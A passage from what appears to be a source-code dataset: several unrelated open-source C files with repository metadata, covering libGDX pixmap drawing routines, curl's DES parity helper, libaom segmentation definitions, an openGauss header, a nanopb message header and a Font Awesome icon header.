addr = ptr + (x0 + y0 * pixmap->width) * bpp;
if(pixmap->blend) {
col_format = to_format(pixmap->format, blend(col, to_RGBA8888(pixmap->format, pget(addr))));
}
pset(addr, col_format);
}
}
} else {
fraction = dx - (dy >> 1);
while (y0 != y1) {
if (fraction >= 0) {
x0 += stepx;
fraction -= dy;
}
y0 += stepy;
fraction += dx;
if(in_pixmap(pixmap, x0, y0)) {
addr = ptr + (x0 + y0 * pixmap->width) * bpp;
if(pixmap->blend) {
col_format = to_format(pixmap->format, blend(col, to_RGBA8888(pixmap->format, pget(addr))));
}
pset(addr, col_format);
}
}
}
}
static inline void hline(const gdx2d_pixmap* pixmap, int32_t x1, int32_t x2, int32_t y, uint32_t col) {
int32_t tmp = 0;
set_pixel_func pset = set_pixel_func_ptr(pixmap->format);
get_pixel_func pget = get_pixel_func_ptr(pixmap->format);
unsigned char* ptr = (unsigned char*)pixmap->pixels;
uint32_t bpp = gdx2d_bytes_per_pixel(pixmap->format);
uint32_t col_format = to_format(pixmap->format, col);
if(y < 0 || y >= (int32_t)pixmap->height) return;
if(x1 > x2) {
tmp = x1;
x1 = x2;
x2 = tmp;
}
if(x1 >= (int32_t)pixmap->width) return;
if(x2 < 0) return;
if(x1 < 0) x1 = 0;
if(x2 >= (int32_t)pixmap->width) x2 = pixmap->width - 1;
x2 += 1;
ptr += (x1 + y * pixmap->width) * bpp;
while(x1 != x2) {
if(pixmap->blend) {
col_format = to_format(pixmap->format, blend(col, to_RGBA8888(pixmap->format, pget(ptr))));
}
pset(ptr, col_format);
x1++;
ptr += bpp;
}
}
static inline void vline(const gdx2d_pixmap* pixmap, int32_t y1, int32_t y2, int32_t x, uint32_t col) {
int32_t tmp = 0;
set_pixel_func pset = set_pixel_func_ptr(pixmap->format);
get_pixel_func pget = get_pixel_func_ptr(pixmap->format);
unsigned char* ptr = (unsigned char*)pixmap->pixels;
uint32_t bpp = gdx2d_bytes_per_pixel(pixmap->format);
uint32_t stride = bpp * pixmap->width;
uint32_t col_format = to_format(pixmap->format, col);
if(x < 0 || x >= pixmap->width) return;
if(y1 > y2) {
tmp = y1;
y1 = y2;
y2 = tmp;
}
if(y1 >= (int32_t)pixmap->height) return;
if(y2 < 0) return;
if(y1 < 0) y1 = 0;
if(y2 >= (int32_t)pixmap->height) y2 = pixmap->height - 1;
y2 += 1;
ptr += (x + y1 * pixmap->width) * bpp;
while(y1 != y2) {
if(pixmap->blend) {
col_format = to_format(pixmap->format, blend(col, to_RGBA8888(pixmap->format, pget(ptr))));
}
pset(ptr, col_format);
y1++;
ptr += stride;
}
}
void gdx2d_draw_rect(const gdx2d_pixmap* pixmap, int32_t x, int32_t y, uint32_t width, uint32_t height, uint32_t col) {
hline(pixmap, x, x + width - 1, y, col);
hline(pixmap, x, x + width - 1, y + height - 1, col);
vline(pixmap, y, y + height - 1, x, col);
vline(pixmap, y, y + height - 1, x + width - 1, col);
}
static inline void circle_points(unsigned char* pixels, uint32_t width, uint32_t height, uint32_t bpp, set_pixel_func pixel_func, int32_t cx, int32_t cy, int32_t x, int32_t y, uint32_t col) {
if (x == 0) {
set_pixel(pixels, width, height, bpp, pixel_func, cx, cy + y, col);
set_pixel(pixels, width, height, bpp, pixel_func, cx, cy - y, col);
set_pixel(pixels, width, height, bpp, pixel_func, cx + y, cy, col);
set_pixel(pixels, width, height, bpp, pixel_func, cx - y, cy, col);
} else
if (x == y) {
set_pixel(pixels, width, height, bpp, pixel_func, cx + x, cy + y, col);
set_pixel(pixels, width, height, bpp, pixel_func, cx - x, cy + y, col);
set_pixel(pixels, width, height, bpp, pixel_func, cx + x, cy - y, col);
set_pixel(pixels, width, height, bpp, pixel_func, cx - x, cy - y, col);
} else
if (x < y) {
set_pixel(pixels, width, height, bpp, pixel_func, cx + x, cy + y, col);
set_pixel(pixels, width, height, bpp, pixel_func, cx - x, cy + y, col);
set_pixel(pixels, width, height, bpp, pixel_func, cx + x, cy - y, col);
set_pixel(pixels, width, height, bpp, pixel_func, cx - x, cy - y, col);
set_pixel(pixels, width, height, bpp, pixel_func, cx + y, cy + x, col);
set_pixel(pixels, width, height, bpp, pixel_func, cx - y, cy + x, col);
set_pixel(pixels, width, height, bpp, pixel_func, cx + y, cy - x, col);
set_pixel(pixels, width, height, bpp, pixel_func, cx - y, cy - x, col);
}
}
void gdx2d_draw_circle(const gdx2d_pixmap* pixmap, int32_t x, int32_t y, uint32_t radius, uint32_t col) {
int32_t px = 0;
int32_t py = radius;
int32_t p = (5 - (int32_t)radius*4)/4;
unsigned char* pixels = (unsigned char*)pixmap->pixels;
uint32_t width = pixmap->width;
uint32_t height = pixmap->height;
uint32_t bpp = gdx2d_bytes_per_pixel(pixmap->format);
set_pixel_func pixel_func = set_pixel_func_ptr(pixmap->format);
col = to_format(pixmap->format, col);
circle_points(pixels, width, height, bpp, pixel_func, x, y, px, py, col);
while (px < py) {
px++;
if (p < 0) {
p += 2*px+1;
} else {
py--;
p += 2*(px-py)+1;
}
circle_points(pixels, width, height, bpp, pixel_func, x, y, px, py, col);
}
}
void gdx2d_fill_rect(const gdx2d_pixmap* pixmap, int32_t x, int32_t y, uint32_t width, uint32_t height, uint32_t col) {
int32_t x2 = x + width - 1;
int32_t y2 = y + height - 1;
if(x >= (int32_t)pixmap->width) return;
if(y >= (int32_t)pixmap->height) return;
if(x2 < 0) return;
if(y2 < 0) return;
if(x < 0) x = 0;
if(y < 0) y = 0;
if(x2 >= (int32_t)pixmap->width) x2 = pixmap->width - 1;
if(y2 >= (int32_t)pixmap->height) y2 = pixmap->height - 1;
y2++;
while(y!=y2) {
hline(pixmap, x, x2, y, col);
y++;
}
}
void gdx2d_fill_circle(const gdx2d_pixmap* pixmap, int32_t x0, int32_t y0, uint32_t radius, uint32_t col) {
int32_t f = 1 - (int32_t)radius;
int32_t ddF_x = 1;
int32_t ddF_y = -2 * (int32_t)radius;
int32_t px = 0;
int32_t py = (int32_t)radius;
hline(pixmap, x0, x0, y0 + (int32_t)radius, col);
hline(pixmap, x0, x0, y0 - (int32_t)radius, col);
hline(pixmap, x0 - (int32_t)radius, x0 + (int32_t)radius, y0, col);
while(px < py)
{
if(f >= 0)
{
py--;
ddF_y += 2;
f += ddF_y;
}
px++;
ddF_x += 2;
f += ddF_x;
hline(pixmap, x0 - px, x0 + px, y0 + py, col);
hline(pixmap, x0 - px, x0 + px, y0 - py, col);
hline(pixmap, x0 - py, x0 + py, y0 + px, col);
hline(pixmap, x0 - py, x0 + py, y0 - px, col);
}
}
#define max(a, b) (a < b?b:a)
#define EDGE_ASSIGN(edge,_x1,_y1,_x2,_y2) \
{ if (_y2 > _y1) { edge.y1 = _y1; edge.y2 = _y2; edge.x1 = _x1; edge.x2 = _x2; } \
else { edge.y2 = _y1; edge.y1 = _y2; edge.x2 = _x1; edge.x1 = _x2; } }
void gdx2d_fill_triangle(const gdx2d_pixmap* pixmap, int32_t x1, int32_t y1, int32_t x2, int32_t y2, int32_t x3, int32_t y3, uint32_t col) {
// this structure is used to sort edges according to y-component.
struct edge {
int32_t x1;
int32_t y1;
int32_t x2;
int32_t y2;
};
struct edge edges[3], edge_tmp;
float slope0, slope1, slope2;
int32_t edge0_len, edge1_len, edge2_len, edge_len_tmp;
int32_t y, bound_y1, bound_y2, calc_x1, calc_x2;
// do nothing when points are colinear -- we draw the fill not the line.
if ((x2 - x1) * (y3 - y1) == (x3 - x1) * (y2 - y1)) {
return;
}
// asign input vertices into internally-sorted edge structures.
EDGE_ASSIGN(edges[0], x1, y1, x2, y2);
EDGE_ASSIGN(edges[1], x1, y1, x3, y3);
EDGE_ASSIGN(edges[2], x2, y2, x3, y3);
// order edges according to descending length.
edge0_len = edges[0].y2 - edges[0].y1;
edge1_len = edges[1].y2 - edges[1].y1;
edge2_len = edges[2].y2 - edges[2].y1;
if (edge1_len >= edge0_len && edge1_len >= edge2_len) {
// swap edge0 and edge1 with respective lengths.
edge_tmp = edges[0];
edges[0] = edges[1];
edges[1] = edge_tmp;
edge_len_tmp = edge0_len;
edge0_len = edge1_len;
edge1_len = edge_len_tmp;
} else if (edge2_len >= edge0_len && edge2_len >= edge1_len) {
// swap edge0 and edge2 with respective lengths.
edge_tmp = edges[0];
edges[0] = edges[2];
edges[2] = edge_tmp;
edge_len_tmp = edge0_len;
edge0_len = edge2_len;
edge2_len = edge_len_tmp;
}
if (edge2_len > edge1_len) {
// swap edge1 and edge2 - edge len no longer necessary.
edge_tmp = edges[1];
edges[1] = edges[2];
edges[2] = edge_tmp;
}
// y-component of the two longest y-component edges is provably > 0.
slope0 = ((float) (edges[0].x1 - edges[0].x2)) /
((float) (edges[0].y2 - edges[0].y1));
slope1 = ((float) (edges[1].x1 - edges[1].x2)) /
((float) (edges[1].y2 - edges[1].y1));
// avoid iterating on y values out of bounds.
bound_y1 = max(edges[1].y1, 0);
bound_y2 = min(edges[1].y2, pixmap->height-1);
for ( y=bound_y1; y <= bound_y2; y++ ) {
// calculate the x values for this y value.
calc_x1 = (int32_t) ((float) edges[0].x2 +
slope0 * (float) (edges[0].y2 - y) + 0.5);
calc_x2 = (int32_t) ((float) edges[1].x2 +
slope1 * (float) (edges[1].y2 - y) + 0.5);
// do not duplicate hline() swap and boundary checking.
hline(pixmap, calc_x1, calc_x2, y, col);
}
// if there are still values of y which remain, keep calculating.
if (edges[2].y2 - edges[2].y1 > 0) {
slope2 = ((float) (edges[2].x1 - edges[2].x2)) /
((float) (edges[2].y2 - edges[2].y1));
bound_y1 = max(edges[2].y1, 0);
bound_y2 = min(edges[2].y2, pixmap->height-1);
for ( y=bound_y1; y <= bound_y2; y++ ) {
calc_x1 = (int32_t) ((float) edges[0].x2 +
slope0 * (float) (edges[0].y2 - y) + 0.5);
calc_x2 = (int32_t) ((float) edges[2].x2 +
slope2 * (float) (edges[2].y2 - y) + 0.5);
hline(pixmap, calc_x1, calc_x2, y, col);
}
}
return;
}
static inline void blit_same_size(const gdx2d_pixmap* src_pixmap, const gdx2d_pixmap* dst_pixmap,
int32_t src_x, int32_t src_y,
int32_t dst_x, int32_t dst_y,
uint32_t width, uint32_t height) {
set_pixel_func pset = set_pixel_func_ptr(dst_pixmap->format);
get_pixel_func pget = get_pixel_func_ptr(src_pixmap->format);
get_pixel_func dpget = get_pixel_func_ptr(dst_pixmap->format);
uint32_t sbpp = gdx2d_bytes_per_pixel(src_pixmap->format);
uint32_t dbpp = gdx2d_bytes_per_pixel(dst_pixmap->format);
uint32_t spitch = sbpp * src_pixmap->width;
uint32_t dpitch = dbpp * dst_pixmap->width;
int sx = src_x;
int sy = src_y;
int dx = dst_x;
int dy = dst_y;
for(;sy < src_y + height; sy++, dy++) {
if(sy < 0 || dy < 0) continue;
if(sy >= src_pixmap->height || dy >= dst_pixmap->height) break;
for(sx = src_x, dx = dst_x; sx < src_x + width; sx++, dx++) {
if(sx < 0 || dx < 0) continue;
if(sx >= src_pixmap->width || dx >= dst_pixmap->width) break;
const void* src_ptr = src_pixmap->pixels + sx * sbpp + sy * spitch;
const void* dst_ptr = dst_pixmap->pixels + dx * dbpp + dy * dpitch;
uint32_t src_col = to_RGBA8888(src_pixmap->format, pget((void*)src_ptr));
if(dst_pixmap->blend) {
uint32_t dst_col = to_RGBA8888(dst_pixmap->format, dpget((void*)dst_ptr));
src_col = to_format(dst_pixmap->format, blend(src_col, dst_col));
} else {
src_col = to_format(dst_pixmap->format, src_col);
}
pset((void*)dst_ptr, src_col);
}
}
}
static inline void blit_bilinear(const gdx2d_pixmap* src_pixmap, const gdx2d_pixmap* dst_pixmap,
int32_t src_x, int32_t src_y, uint32_t src_width, uint32_t src_height,
int32_t dst_x, int32_t dst_y, uint32_t dst_width, uint32_t dst_height) {
set_pixel_func pset = set_pixel_func_ptr(dst_pixmap->format);
get_pixel_func pget = get_pixel_func_ptr(src_pixmap->format);
get_pixel_func dpget = get_pixel_func_ptr(dst_pixmap->format);
uint32_t sbpp = gdx2d_bytes_per_pixel(src_pixmap->format);
uint32_t dbpp = gdx2d_bytes_per_pixel(dst_pixmap->format);
uint32_t spitch = sbpp * src_pixmap->width;
uint32_t dpitch = dbpp * dst_pixmap->width;
float x_ratio = ((float)src_width - 1)/ dst_width;
float y_ratio = ((float)src_height - 1) / dst_height;
float x_diff = 0;
float y_diff = 0;
int dx = dst_x;
int dy = dst_y;
int sx = src_x;
int sy = src_y;
int i = 0;
int j = 0;
for(;i < dst_height; i++) {
sy = (int)(i * y_ratio) + src_y;
dy = i + dst_y;
y_diff = (y_ratio * i + src_y) - sy;
if(sy < 0 || dy < 0) continue;
if(sy >= src_pixmap->height || dy >= dst_pixmap->height) break;
for(j = 0 ;j < dst_width; j++) {
sx = (int)(j * x_ratio) + src_x;
dx = j + dst_x;
x_diff = (x_ratio * j + src_x) - sx;
if(sx < 0 || dx < 0) continue;
if(sx >= src_pixmap->width || dx >= dst_pixmap->width) break;
const void* dst_ptr = dst_pixmap->pixels + dx * dbpp + dy * dpitch;
const void* src_ptr = src_pixmap->pixels + sx * sbpp + sy * spitch;
uint32_t c1 = 0, c2 = 0, c3 = 0, c4 = 0;
c1 = to_RGBA8888(src_pixmap->format, pget((void*)src_ptr));
if(sx + 1 < src_width) c2 = to_RGBA8888(src_pixmap->format, pget((void*)((char*)src_ptr + sbpp))); else c2 = c1;
if(sy + 1< src_height) c3 = to_RGBA8888(src_pixmap->format, pget((void*)((char*)src_ptr + spitch))); else c3 = c1;
if(sx + 1< src_width && sy + 1 < src_height) c4 = to_RGBA8888(src_pixmap->format, pget((void*)((char*)src_ptr + spitch + sbpp))); else c4 = c1;
float ta = (1 - x_diff) * (1 - y_diff);
float tb = (x_diff) * (1 - y_diff);
float tc = (1 - x_diff) * (y_diff);
float td = (x_diff) * (y_diff);
uint32_t r = (uint32_t)(((c1 & 0xff000000) >> 24) * ta +
((c2 & 0xff000000) >> 24) * tb +
((c3 & 0xff000000) >> 24) * tc +
((c4 & 0xff000000) >> 24) * td) & 0xff;
uint32_t g = (uint32_t)(((c1 & 0xff0000) >> 16) * ta +
((c2 & 0xff0000) >> 16) * tb +
((c3 & 0xff0000) >> 16) * tc +
((c4 & 0xff0000) >> 16) * td) & 0xff;
uint32_t b = (uint32_t)(((c1 & 0xff00) >> 8) * ta +
((c2 & 0xff00) >> 8) * tb +
((c3 & 0xff00) >> 8) * tc +
((c4 & 0xff00) >> 8) * td) & 0xff;
uint32_t a = (uint32_t)((c1 & 0xff) * ta +
(c2 & 0xff) * tb +
(c3 & 0xff) * tc +
(c4 & 0xff) * td) & 0xff;
uint32_t src_col = (r << 24) | (g << 16) | (b << 8) | a;
if(dst_pixmap->blend) {
uint32_t dst_col = to_RGBA8888(dst_pixmap->format, dpget((void*)dst_ptr));
src_col = to_format(dst_pixmap->format, blend(src_col, dst_col));
} else {
src_col = to_format(dst_pixmap->format, src_col);
}
pset((void*)dst_ptr, src_col);
}
}
}
static inline void blit_linear(const gdx2d_pixmap* src_pixmap, const gdx2d_pixmap* dst_pixmap,
int32_t src_x, int32_t src_y, uint32_t src_width, uint32_t src_height,
int32_t dst_x, int32_t dst_y, uint32_t dst_width, uint32_t dst_height) {
set_pixel_func pset = set_pixel_func_ptr(dst_pixmap->format);
get_pixel_func pget = get_pixel_func_ptr(src_pixmap->format);
get_pixel_func dpget = get_pixel_func_ptr(dst_pixmap->format);
uint32_t sbpp = gdx2d_bytes_per_pixel(src_pixmap->format);
uint32_t dbpp = gdx2d_bytes_per_pixel(dst_pixmap->format);
uint32_t spitch = sbpp * src_pixmap->width;
uint32_t dpitch = dbpp * dst_pixmap->width;
uint32_t x_ratio = (src_width << 16) / dst_width + 1;
uint32_t y_ratio = (src_height << 16) / dst_height + 1;
int dx = dst_x;
int dy = dst_y;
int sx = src_x;
int sy = src_y;
int i = 0;
int j = 0;
for(;i < dst_height; i++) {
sy = ((i * y_ratio) >> 16) + src_y;
dy = i + dst_y;
if(sy < 0 || dy < 0) continue;
if(sy >= src_pixmap->height || dy >= dst_pixmap->height) break;
for(j = 0 ;j < dst_width; j++) {
sx = ((j * x_ratio) >> 16) + src_x;
dx = j + dst_x;
if(sx < 0 || dx < 0) continue;
if(sx >= src_pixmap->width || dx >= dst_pixmap->width) break;
const void* src_ptr = src_pixmap->pixels + sx * sbpp + sy * spitch;
const void* dst_ptr = dst_pixmap->pixels + dx * dbpp + dy * dpitch;
uint32_t src_col = to_RGBA8888(src_pixmap->format, pget((void*)src_ptr));
if(dst_pixmap->blend) {
uint32_t dst_col = to_RGBA8888(dst_pixmap->format, dpget((void*)dst_ptr));
src_col = to_format(dst_pixmap->format, blend(src_col, dst_col));
} else {
src_col = to_format(dst_pixmap->format, src_col);
}
pset((void*)dst_ptr, src_col);
}
}
}
static inline void blit(const gdx2d_pixmap* src_pixmap, const gdx2d_pixmap* dst_pixmap,
int32_t src_x, int32_t src_y, uint32_t src_width, uint32_t src_height,
int32_t dst_x, int32_t dst_y, uint32_t dst_width, uint32_t dst_height) {
if(dst_pixmap->scale == GDX2D_SCALE_NEAREST)
blit_linear(src_pixmap, dst_pixmap, src_x, src_y, src_width, src_height, dst_x, dst_y, dst_width, dst_height);
if(dst_pixmap->scale == GDX2D_SCALE_BILINEAR)
blit_bilinear(src_pixmap, dst_pixmap, src_x, src_y, src_width, src_height, dst_x, dst_y, dst_width, dst_height);
}
void gdx2d_draw_pixmap(const gdx2d_pixmap* src_pixmap, const gdx2d_pixmap* dst_pixmap,
int32_t src_x, int32_t src_y, uint32_t src_width, uint32_t src_height,
int32_t dst_x, int32_t dst_y, uint32_t dst_width, uint32_t dst_height) {
if(src_width == dst_width && src_height == dst_height) {
blit_same_size(src_pixmap, dst_pixmap, src_x, src_y, dst_x, dst_y, src_width, src_height);
} else {
blit(src_pixmap, dst_pixmap, src_x, src_y, src_width, src_height, dst_x, dst_y, dst_width, dst_height);
}
}
|
999bef60be45a096abb341f733ddbfa48d54fdd1
|
0853493263443e3493d5d359576f71fc7b1d509c
|
/contrib/curl/lib/curl_des.c
|
b123a00f01e2a195d29e16962a91c8d29474cd21
|
[
"BSD-3-Clause"
] |
permissive
|
premake/premake-core
|
2480471ed07868913533b045b7d7db7d9630e8ba
|
7b309649ce08cb40f4947d6952fb554c94f8cff6
|
refs/heads/master
| 2023-09-01T07:23:53.970594
| 2023-08-30T19:06:18
| 2023-08-30T19:06:18
| 32,634,405
| 3,160
| 944
|
BSD-3-Clause
| 2023-09-09T23:25:44
| 2015-03-21T14:08:15
|
C
|
UTF-8
|
C
| false
| false
| 2,043
|
c
|
curl_des.c
|
/***************************************************************************
* _ _ ____ _
* Project ___| | | | _ \| |
* / __| | | | |_) | |
* | (__| |_| | _ <| |___
* \___|\___/|_| \_\_____|
*
* Copyright (C) 2015, Steve Holme, <steve_holme@hotmail.com>.
*
* This software is licensed as described in the file COPYING, which
* you should have received as part of this distribution. The terms
* are also available at https://curl.haxx.se/docs/copyright.html.
*
* You may opt to use, copy, modify, merge, publish, distribute and/or sell
* copies of the Software, and permit persons to whom the Software is
* furnished to do so, under the terms of the COPYING file.
*
* This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
* KIND, either express or implied.
*
***************************************************************************/
#include "curl_setup.h"
#if defined(USE_NTLM) && !defined(USE_OPENSSL)
#include "curl_des.h"
/*
* Curl_des_set_odd_parity()
*
* This is used to apply odd parity to the given byte array. It is typically
* used by when a cryptography engines doesn't have it's own version.
*
* The function is a port of the Java based oddParity() function over at:
*
* https://davenport.sourceforge.io/ntlm.html
*
* Parameters:
*
* bytes [in/out] - The data whose parity bits are to be adjusted for
* odd parity.
* len [out] - The length of the data.
*/
void Curl_des_set_odd_parity(unsigned char *bytes, size_t len)
{
size_t i;
for(i = 0; i < len; i++) {
unsigned char b = bytes[i];
bool needs_parity = (((b >> 7) ^ (b >> 6) ^ (b >> 5) ^
(b >> 4) ^ (b >> 3) ^ (b >> 2) ^
(b >> 1)) & 0x01) == 0;
if(needs_parity)
bytes[i] |= 0x01;
else
bytes[i] &= 0xfe;
}
}
#endif /* USE_NTLM && !USE_OPENSSL */
|
1591c14894b71f3cd2400d0c40a343111eb5bcd1
|
88ae8695987ada722184307301e221e1ba3cc2fa
|
/third_party/libaom/source/libaom/av1/common/seg_common.h
|
44b508b146f2b7781ac1cad9e376baebabffe8c6
|
[
"BSD-3-Clause",
"Apache-2.0",
"LGPL-2.0-or-later",
"MIT",
"GPL-1.0-or-later",
"BSD-2-Clause"
] |
permissive
|
iridium-browser/iridium-browser
|
71d9c5ff76e014e6900b825f67389ab0ccd01329
|
5ee297f53dc7f8e70183031cff62f37b0f19d25f
|
refs/heads/master
| 2023-08-03T16:44:16.844552
| 2023-07-20T15:17:00
| 2023-07-23T16:09:30
| 220,016,632
| 341
| 40
|
BSD-3-Clause
| 2021-08-13T13:54:45
| 2019-11-06T14:32:31
| null |
UTF-8
|
C
| false
| false
| 4,023
|
h
|
seg_common.h
|
/*
* Copyright (c) 2016, Alliance for Open Media. All rights reserved
*
* This source code is subject to the terms of the BSD 2 Clause License and
* the Alliance for Open Media Patent License 1.0. If the BSD 2 Clause License
* was not distributed with this source code in the LICENSE file, you can
* obtain it at www.aomedia.org/license/software. If the Alliance for Open
* Media Patent License 1.0 was not distributed with this source code in the
* PATENTS file, you can obtain it at www.aomedia.org/license/patent.
*/
#ifndef AOM_AV1_COMMON_SEG_COMMON_H_
#define AOM_AV1_COMMON_SEG_COMMON_H_
#include "aom_dsp/prob.h"
#ifdef __cplusplus
extern "C" {
#endif
#define MAX_SEGMENTS 8
#define SEG_TREE_PROBS (MAX_SEGMENTS - 1)
#define SEG_TEMPORAL_PRED_CTXS 3
#define SPATIAL_PREDICTION_PROBS 3
enum {
SEG_LVL_ALT_Q, // Use alternate Quantizer ....
SEG_LVL_ALT_LF_Y_V, // Use alternate loop filter value on y plane vertical
SEG_LVL_ALT_LF_Y_H, // Use alternate loop filter value on y plane horizontal
SEG_LVL_ALT_LF_U, // Use alternate loop filter value on u plane
SEG_LVL_ALT_LF_V, // Use alternate loop filter value on v plane
SEG_LVL_REF_FRAME, // Optional Segment reference frame
SEG_LVL_SKIP, // Optional Segment (0,0) + skip mode
SEG_LVL_GLOBALMV,
SEG_LVL_MAX
} UENUM1BYTE(SEG_LVL_FEATURES);
struct segmentation {
uint8_t enabled;
uint8_t update_map;
uint8_t update_data;
uint8_t temporal_update;
int16_t feature_data[MAX_SEGMENTS][SEG_LVL_MAX];
unsigned int feature_mask[MAX_SEGMENTS];
int last_active_segid; // The highest numbered segment id that has some
// enabled feature.
uint8_t segid_preskip; // Whether the segment id will be read before the
// skip syntax element.
// 1: the segment id will be read first.
// 0: the skip syntax element will be read first.
};
struct segmentation_probs {
aom_cdf_prob pred_cdf[SEG_TEMPORAL_PRED_CTXS][CDF_SIZE(2)];
aom_cdf_prob spatial_pred_seg_cdf[SPATIAL_PREDICTION_PROBS]
[CDF_SIZE(MAX_SEGMENTS)];
};
static INLINE int segfeature_active(const struct segmentation *seg,
uint8_t segment_id,
SEG_LVL_FEATURES feature_id) {
return seg->enabled && (seg->feature_mask[segment_id] & (1 << feature_id));
}
static INLINE void segfeatures_copy(struct segmentation *dst,
const struct segmentation *src) {
int i, j;
for (i = 0; i < MAX_SEGMENTS; i++) {
dst->feature_mask[i] = src->feature_mask[i];
for (j = 0; j < SEG_LVL_MAX; j++) {
dst->feature_data[i][j] = src->feature_data[i][j];
}
}
dst->segid_preskip = src->segid_preskip;
dst->last_active_segid = src->last_active_segid;
}
void av1_clearall_segfeatures(struct segmentation *seg);
void av1_enable_segfeature(struct segmentation *seg, int segment_id,
SEG_LVL_FEATURES feature_id);
void av1_calculate_segdata(struct segmentation *seg);
int av1_seg_feature_data_max(SEG_LVL_FEATURES feature_id);
int av1_is_segfeature_signed(SEG_LVL_FEATURES feature_id);
void av1_set_segdata(struct segmentation *seg, int segment_id,
SEG_LVL_FEATURES feature_id, int seg_data);
static INLINE int get_segdata(const struct segmentation *seg, int segment_id,
SEG_LVL_FEATURES feature_id) {
return seg->feature_data[segment_id][feature_id];
}
static AOM_INLINE void set_segment_id(uint8_t *segment_ids, int mi_offset,
int x_mis, int y_mis, int mi_stride,
uint8_t segment_id) {
segment_ids += mi_offset;
for (int y = 0; y < y_mis; ++y) {
memset(&segment_ids[y * mi_stride], segment_id,
x_mis * sizeof(segment_ids[0]));
}
}
#ifdef __cplusplus
} // extern "C"
#endif
#endif // AOM_AV1_COMMON_SEG_COMMON_H_
|
3f5cc4d1ad88a5553ef5e502a1a009dc089c5f0f
|
bb38c44037a99d0a12a12d92059678f2faebbc80
|
/src/include/foreign/regioninfo.h
|
612d338184f85f796a83f2d261bc8fc39b88a684
|
[
"LicenseRef-scancode-mulanpsl-2.0-en",
"LicenseRef-scancode-unknown-license-reference",
"PostgreSQL",
"BSD-3-Clause",
"LGPL-2.0-or-later",
"LicenseRef-scancode-unicode",
"LicenseRef-scancode-warranty-disclaimer",
"curl",
"GPL-1.0-or-later",
"LGPL-2.1-or-later",
"LGPL-2.1-only",
"CC-BY-4.0",
"LicenseRef-scancode-protobuf",
"OpenSSL",
"LicenseRef-scancode-generic-export-compliance",
"X11-distribute-modifications-variant",
"LicenseRef-scancode-other-permissive",
"MIT",
"NCSA",
"Python-2.0",
"LicenseRef-scancode-openssl",
"LicenseRef-scancode-ssleay-windows",
"CC-BY-3.0",
"LicenseRef-scancode-other-copyleft",
"GPL-2.0-only",
"BSL-1.0",
"Apache-2.0",
"LGPL-2.0-only",
"LicenseRef-scancode-public-domain",
"BSD-2-Clause",
"Zlib"
] |
permissive
|
opengauss-mirror/openGauss-server
|
a9c5a62908643492347830826c56da49f0942796
|
310e84631c68c8bf37b004148b66f94064f701e4
|
refs/heads/master
| 2023-07-26T19:29:12.495484
| 2023-07-17T12:23:32
| 2023-07-17T12:23:32
| 276,117,477
| 591
| 208
|
MulanPSL-2.0
| 2023-04-28T12:30:18
| 2020-06-30T14:08:59
|
C++
|
UTF-8
|
C
| false
| false
| 727
|
h
|
regioninfo.h
|
/* ---------------------------------------------------------------------------------------
*
* regioninfo.h
* support the obs foreign table, we get the region info from
* the region_map file, and clean the region info in database.
*
* Portions Copyright (c) 1996-2012, PostgreSQL Global Development Group
*
* IDENTIFICATION
* src/include/foreign/regioninfo.h
*
* ---------------------------------------------------------------------------------------
*/
#ifndef GAUSSDB_FOREIGN_REGIION_INFO
#define GAUSSDB_FOREIGN_REGIION_INFO
#include "postgres.h"
#include "knl/knl_variable.h"
#include "commands/defrem.h"
#include "nodes/parsenodes.h"
char* readDataFromJsonFile(char* region);
#endif
|
54754549f2329ed5dfec017ebd7d9e42d3b458bf
|
b6acd6eed2b8946c1c1e19fa30081cbab0a2954f
|
/starry_fmu/RTOS/examples/nanopb/simple.pb.h
|
47521dee6900fabaf129fefac8b8cb424611c8dd
|
[
"BSD-3-Clause"
] |
permissive
|
JcZou/StarryPilot
|
7ce1ed454f133ccd30d71916811e2bf23196d2eb
|
97af0338a54e1eeece877c72222aeaf4b7e80ad7
|
refs/heads/master
| 2023-03-12T19:10:17.225314
| 2021-11-27T19:44:26
| 2021-11-27T19:44:26
| 137,048,745
| 304
| 172
|
BSD-3-Clause
| 2020-08-26T07:34:49
| 2018-06-12T09:27:59
|
C
|
UTF-8
|
C
| false
| false
| 1,182
|
h
|
simple.pb.h
|
/* Automatically generated nanopb header */
/* Generated by nanopb-0.3.1 at Tue Mar 10 01:16:15 2015. */
#ifndef PB_SIMPLE_PB_H_INCLUDED
#define PB_SIMPLE_PB_H_INCLUDED
#include <pb.h>
#if PB_PROTO_HEADER_VERSION != 30
#error Regenerate this file with the current version of nanopb generator.
#endif
#ifdef __cplusplus
extern "C" {
#endif
/* Enum definitions */
/* Struct definitions */
typedef PB_BYTES_ARRAY_T(16) SimpleMessage_name_t;
typedef struct _SimpleMessage {
int32_t lucky_number;
SimpleMessage_name_t name;
} SimpleMessage;
/* Default values for struct fields */
/* Initializer values for message structs */
#define SimpleMessage_init_default {0, {0, {0}}}
#define SimpleMessage_init_zero {0, {0, {0}}}
/* Field tags (for use in manual encoding/decoding) */
#define SimpleMessage_lucky_number_tag 1
#define SimpleMessage_name_tag 2
/* Struct field encoding specification for nanopb */
extern const pb_field_t SimpleMessage_fields[3];
/* Maximum encoded size of messages (where known) */
#define SimpleMessage_size 29
#ifdef __cplusplus
} /* extern "C" */
#endif
#endif
|
badd710fe6009d3223382a5c62d5c3f2b55f76da
|
d4c08f77cb716b3a385eca1c4808b28ec2b36ba6
|
/server/IconsFontAwesome6.h
|
bd3b551bfea91944f55295cc046ad1feda835050
|
[
"BSD-3-Clause"
] |
permissive
|
wolfpld/tracy
|
9e7c31314b7120b631ab3f166907f2e52e70ff9e
|
f15de19fda5f03f97ea0f779c2c846228350a640
|
refs/heads/master
| 2023-09-01T20:44:18.843395
| 2023-08-23T11:24:47
| 2023-08-23T11:24:47
| 248,058,818
| 6,276
| 498
|
NOASSERTION
| 2023-09-11T18:56:21
| 2020-03-17T19:43:04
|
C++
|
UTF-8
|
C
| false
| false
| 73,902
|
h
|
IconsFontAwesome6.h
|
// Generated by https://github.com/juliettef/IconFontCppHeaders script GenerateIconFontCppHeaders.py for languages C and C++
// from https://github.com/FortAwesome/Font-Awesome/raw/6.x/metadata/icons.yml
// for use with https://github.com/FortAwesome/Font-Awesome/blob/6.x/webfonts/fa-regular-400.ttf, https://github.com/FortAwesome/Font-Awesome/blob/6.x/webfonts/fa-solid-900.ttf
#pragma once
#define FONT_ICON_FILE_NAME_FAR "fa-regular-400.ttf"
#define FONT_ICON_FILE_NAME_FAS "fa-solid-900.ttf"
#define ICON_MIN_FA 0xe005
#define ICON_MAX_16_FA 0xf8ff
